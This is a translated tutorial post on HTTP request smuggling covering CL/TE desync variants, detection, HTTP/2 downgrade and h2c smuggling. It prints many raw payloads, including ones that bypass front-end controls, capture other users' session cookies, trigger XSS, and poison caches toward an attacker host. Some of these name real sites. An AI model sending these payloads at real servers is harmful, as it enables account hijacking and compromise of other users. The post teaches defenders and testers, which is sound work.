HTTP request smuggling and its series

Reference article:
https://www.anquanke.com/post/id/249446
https://www.anquanke.com/post/id/220996
https://www.anquanke.com/post/id/246516
https://paper.seebug.org/1048/

HTTP request smuggling

cause

Added keep-Alive and Pipeline in http 1.1

Knowledge point

1.
Content-Length <length>

The length of the message, in octets as a decimal number

2.

The Transfer-Encoding message header specifies the entity The form of encoding used for safe delivery to the user

chunked

Data is sent in a series of chunks

3.

Keep-Alive is a general message header that allows the sender of the message to indicate the state of the connection, and can also be used to set the timeout period and maximum number of requests

Add Connection to http request: Keep-Alive

After receiving this HTTP request, do not close the TCP connection, and reuse this TCP connection for subsequent HTTP requests to the same target server

Enabled by default in http 1.1

After keep-alive, there is Pipeline, which means that the client can send HTTP requests like a pipeline (emphasis)

The browser is not enabled by default, and the server provides support for Pipeline

4.

[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-Ez8P7Cr9-1653728635077)(…/image/1570691716000-Topology.png)]

Generally, the reverse proxy server and the backend server will reuse the TCP connection

When we send a relatively vague HTTP request to the proxy server, due to the different implementations of the two servers, the proxy server may think it is an HTTP request, and then forward it to the back-end origin server, but the origin server goes through After parsing and processing, only a part of it is considered as a normal request, and the remaining part is considered a smuggled request

GET request with CL not 0

All HTTP requests that do not carry a request body may be affected by this

Assuming that the front-end proxy server allows the GET request to carry the request body, but the back-end server does not allow the GET request to carry the request body, it will directly ignore the Content-Length header in the GET request and will not process it. This may lead to request smuggling

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

The front-end server receives the request, judges that it is a complete request by reading the Content-Length, and then forwards it to the back-end server. After the back-end server receives it, because it does not process the Content-Length, due to the existence of Pipeline, It thinks that it has received two requests, namely

First
GET / HTTP/1.1\r\n
Host: example.com\r\n

the second
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL

When the request received by the server contains two Content-Length s, and the two values ​​are different, it needs to return a 400 error

However, there are always servers that will not strictly implement this specification. It is assumed that the intermediate proxy server and the back-end origin server will not return a 400 error when receiving similar requests, but the intermediate proxy server will follow the first Content-Length. The value of the request is processed, and the back-end origin server is processed according to the value of the second Content-Length

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

The length of the data packet obtained by the intermediate proxy server is 8, the length of the data packet obtained by the back-end server is 7, and there is one letter a left in the buffer.

For the backend server, this a is part of the next request

So the second request

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

became

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

Two Content-Length request packets are too ideal, and general servers will not accept such request packets with two request headers

CL-TE

If a request packet containing both Content-Length and Transfer-Encoding headers is received, Content-Length must be ignored during processing

The front-end proxy server only processes the Content-Length request header, while the back-end server will comply with RFC2616, ignore Content-Length, and process the Transfer-Encoding request header

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

Since the front-end server handles Content-Length, this request is a complete request for it, and the length of the request body is 6, which is

0\r\n
\r\n
G

When the request packet is forwarded to the back-end server through the proxy server, the back-end server processes the Transfer-Encoding. When it reads 0\r\n\r\n, it is considered to have read the end, but the remaining letters G is left in the buffer

So the next request

GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......

TE-CL

When receiving a request packet with two request headers, the front-end proxy server processes the Transfer-Encoding request header, while the back-end server processes the Content-Length request header

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

The front-end server processes the Transfer-Encoding. When it reads 0\r\n\r\n, it is considered that the reading is complete. At this time, the request is a complete request to the proxy server, and then forwarded to the backend. The server, the back-end server processes the Content-Length request header. When it reads 12\r\n, it considers the request to be over, and the following data is considered to be another request, that is,

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

TE-TE

When receiving a request packet with two request headers, both the front-end and back-end servers process the Transfer-Encoding request header, and the front-end and back-end servers are not the same

Some kind of obfuscation is performed on the Transfer-Encoding in the sent request packet so that one of the servers does not process the Transfer-Encoding request header. In a sense, it is still CL-TE or TE-CL.

POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

Looking for HTTP request smuggling

Discover CL.TE with ⏲ Timing Technology

When both the CL header and the TE header exist, if the length of the request packet body is greater than the length specified by the CL header, the request packet will only have the content within the length specified by the CL header, resulting in the back-end server waiting for subsequent processing because of the TE header processing. request packets, which will eventually cause a timeout

like

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

Discover CL.TE with ⏲ Timing Technology

If the body is two parts separated by a blank line, it will also cause only an incomplete request to be issued, causing the backend server to wait when receiving the request packet using the CL header until it times out, which can prove that there is a TE.CL vulnerability

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

Testing of Exploiting Timing Techniques for TE.CL Vulnerability May Disturb Other Application Users

Confirming HTTP Request Smuggling Using Response Differences

Send two requests, the first is a magic-modified request packet, and the second is a normal request, so that the first request can be used to interfere with the processing of the second request packet by the backend server

Identifying CL.TE Vulnerabilities Using Response Differences

Add a blank line after the end of the first request package and start writing the second request package

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

access the next request

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Identifying TE.CL Vulnerabilities Using Response Differences

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

access the next request

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Exploiting HTTP Request Smuggling Vulnerability

The front-end of some application systems is configured with certain security controls to decide whether to allow requests to be forwarded to the back-end server. If the request passes the front-end security control, it will be unconditionally accepted by the back-end server. In this way, HTTP smuggling requests can be used. Send the malicious request packet to the back-end server in the normal request packet

For example, the front-end server prohibits forwarding /admin

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

It will be split into two request packets. The /admin requested by the second request packet is split out and forwarded successfully.

Bypassing front-end security controls with CL.TE

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-dznK2ouX-1653728706158)(…/image/t01df963c3c036674e7.png)]

Bypassing front-end security controls with TE.CL

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-gSXJtEUI-1653728706160)(…/image/t01c478f73e5fb2684b.png)]

Echo the process of the front-end rewriting the request

Some applications will rewrite the request before forwarding it to the backend server, such as

  • Terminate the TLS connection and add some headers describing the protocol and encryption algorithm used
  • Add an X-Forwarded-For header containing the user's IP address
  • Determine the user ID based on the user session token and add a header identifying the user
  • Add some sensitive information of interest to other attacks

Sometimes if the smuggling request lacks the header added by the front-end server, the smuggling request attack may fail, so we need to use some means to echo the way the front-end server rewrites, such as

  • Look for a POST request that can feed the request's parameter values ​​back into the response
  • Move parameters so that they are fed back last in the message body
  • Construct a smuggling request to the backend server, followed by a normal request to echo

such a request packet

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

The response will contain the following
<input id="email" value="wiener@normal-user.net" type="text">

The result of the rewrite can be obtained with an HTTP request smuggling attack, like this

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

The request will be rewritten by the frontend server to include the extra headers, then the backend server will process the smuggled request and treat the rewritten second request as the value of the email parameter, like this

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

The last request is being rewritten and we don't know when it will end. The value in the CL header will determine when the backend server trusts the request. If the value is set too short, only partially rewritten requests will be received; if it is set too long, the backend server will time out waiting for the request to complete. The solution is to guess an initial value that is a bit larger than the submitted request, and then gradually increase the value until you have all the information

The request packet rewritten by the front-end will be fed back in the response, indicating that we have successfully obtained the field name used by the front-end server to specify the source IP through the HTTP request smuggling vulnerability, and we can forge the local user.

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-SFe0bzzC-1653728706160)(…/image/t01c1ff8e67c854ec3a.png)]

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-B0ir6Wyd-1653728706161)(…/image/t013c68cef1e7cffd33.png)]

echo steal other user requests

Some applications contain any functionality that allows the storage and retrieval of textual data, HTTP request smuggling can be exploited to steal requests from other users

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

We can smuggle data storage requests to the backend via HTTP request smuggling attack like this

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

When the backend server processes another user's request, it is appended to the smuggled request, and the resulting user's request is stored, including the victim user's session cookie s and any other sensitive data, like this

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-ebSqvOur-1653728706161)(…/image/t013b467f3f03a91245.png)]

[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-2MBfPLGr-1653728706162)(…/image/t0170d652db42e38907.png)]

Trigger reflex xss

advantage

  • It does not require interaction with the victim user
  • It can be used to exploit XSS in certain parts of the request, such as in HTTP request headers
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

The next user's request will be appended to the smuggled request, and the reflected XSS payload will be received in the response

Using HTTP request smuggling to turn in-page redirects into open redirects

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

This is an in-page redirect request, but we can use HTTP request smuggling to redirect it to any other domain, such as

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Subsequent requests will be affected like this

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Here, the user is requesting a JS file imported by a page on the website, the attacker can completely compromise the victim user by returning their own JS in the response

Using HTTP request smuggling to launch web cache poisoning

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

The smuggled request reaches the backend server, which responds with an open redirect as before. The server will cache the response from /static/include.js.

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

When other users request this URL, they will receive a redirect to the attacker's website

Web Cache Spoofing Using HTTP Request Smuggling

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

The next request from another user forwarded to the backend server will be appended to the smuggled request, including the session cookie and other headers

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

The server will cache the response of /static/some-image.png, and the attacker can also receive this cache

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

But this attack requires a large number of requests to be successful

HTTP/2 downgrade smuggling

produce

In HTTP/1, the length of each message body is represented by Content-Length or Transfer-Encoding headers. In HTTP/2, these headers are redundant because binary streams are used for transmission, and there is no text. The concept of the message, the content of the message is transmitted by the data frame (Data Frame)

Downgrade smuggling occurs when the anti-generation server uses HTTP/2, but the backend server uses HTTP/1.1 to receive CL or TE requests

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-UZYcMFFO-1653728740790)(…/image/t014915453b70bec0ae.png)]

Converting to HTTP/1.1 becomes

POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: bar

There can be CL in HTTP/2, but if the value of Content-Length is inconsistent with the length of DATA frame, it should be regarded as a format error, and the intermediary server must not forward it

H2.CL

       :method POST
         :path /n
Content-Length 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: bar

followed by one

       :method GET
         :path /anything
    :authority netflix.com

become

POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: barGET /anything HTTP/1.1
Host: www.netflix.com
POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcd
GET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: barGET /anything HTTP/1.1
Host: www.netflix.com

Causes the second request to be spliced ​​by the first request to generate an error, similar to CL-TE in HTTP/1.1

CVE-2021-21295

H2.TE

header name injection

HTTP/2 does not allow TE fields, you need to add \r\n for TE injection

[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-eRXvBVSX-1653728740791)(…/image/t0192b5711192353750.png)]

After converting HTTP/1.1, the packet is

GET / HTTP/1.1
foo: bar
transfer-encoding: chunked
host: ecosystem.atlassian.net

example:

          :method POST
            :path /identitfy/XUI
       :authority id.b2b.oath.com
          foo:bar chunked
transfer-encoding
0

GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10

x=

Not finished, splicing the next request

Herder injection

[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-5ojmTFEQ-1653728740791)(…/image/t01c5dad6a22ce1af79.png)]

By converting, its HTTP/1.1 request is

POST / HTTP/1.1\r\n
Host: start.mozilla.org\r\n
Foo: b\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 77\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

HTTP/2 stipulates that any request or response containing characters that are not allowed in the header field value (CRLF,0x0) must be considered as malformed, but not many middleware comply with this requirement

request line injection

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-AdHhSDv7-1653728740791)(…/image/t015d5957aafa566c74.png)]

Inject the smuggling request directly into the method

GET / HTTP/1.1
transfer-encoding: chunked
x: x /ignored HTTP/1.1
Host: eco.atlassian.net

H2.X

[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-Hb3sL60i-1653728740792)(…/image/t015e2bf61ed5102932.png)]

GET / HTTP/1.1
Foo: bar
Host: ecosystem.atlassian.net
GET /robots.txt HTTP/1.1
X-Ignore: x
Host: ecosystem.atlassian.net\r\n
\r\n

HTTP/H2C request smuggling

h2c: the identifier for HTTP/2 HTTP

h2: the identifier for HTTP/2 HTTPS

The proxy forwards h2c to the backend over TLS for protocol upgrade, in a reverse proxy server environment, the backend server only knows whether the client is Cleartext or TLS (with identities such as h2c and h2), so it determines the TLS connection as HTTP, and Create a TCP Tunnel on the TLS connection. Since the client is not HTTP, it can still use the existing connection through TLS. It is not affected by the ACL policy of the Proxy. The request in the TCP Tunnel can perform HTTP operations, so it can access blocked resource

process:

1. Client sends HTTP/1.1 upgrade request to reverse proxy (wrong headers sent)

2. The proxy forwards the request to the backend, which returns a 101 Swiching protocol response and is ready to receive HTTP/2 communications

3. When the proxy receives a 101 response from the backend server, a TCP tunnel will be created

4. When the client receives a 101 response from the proxy, it will re-use the existing TCP connection and perform HTTP/2 initialization

5. The client uses HTTP/2 multiplexing to send illegal requests for restricted resources

6. Since the proxy server does not monitor TCP traffic (HTTP pass-through policy), it illegally requests to send to restricted pages

7. The server responds and forwards it to the TLS tunnel for smuggling

Tags: server network http

Posted by Piba on Tue, 31 May 2022 00:15:15 +0530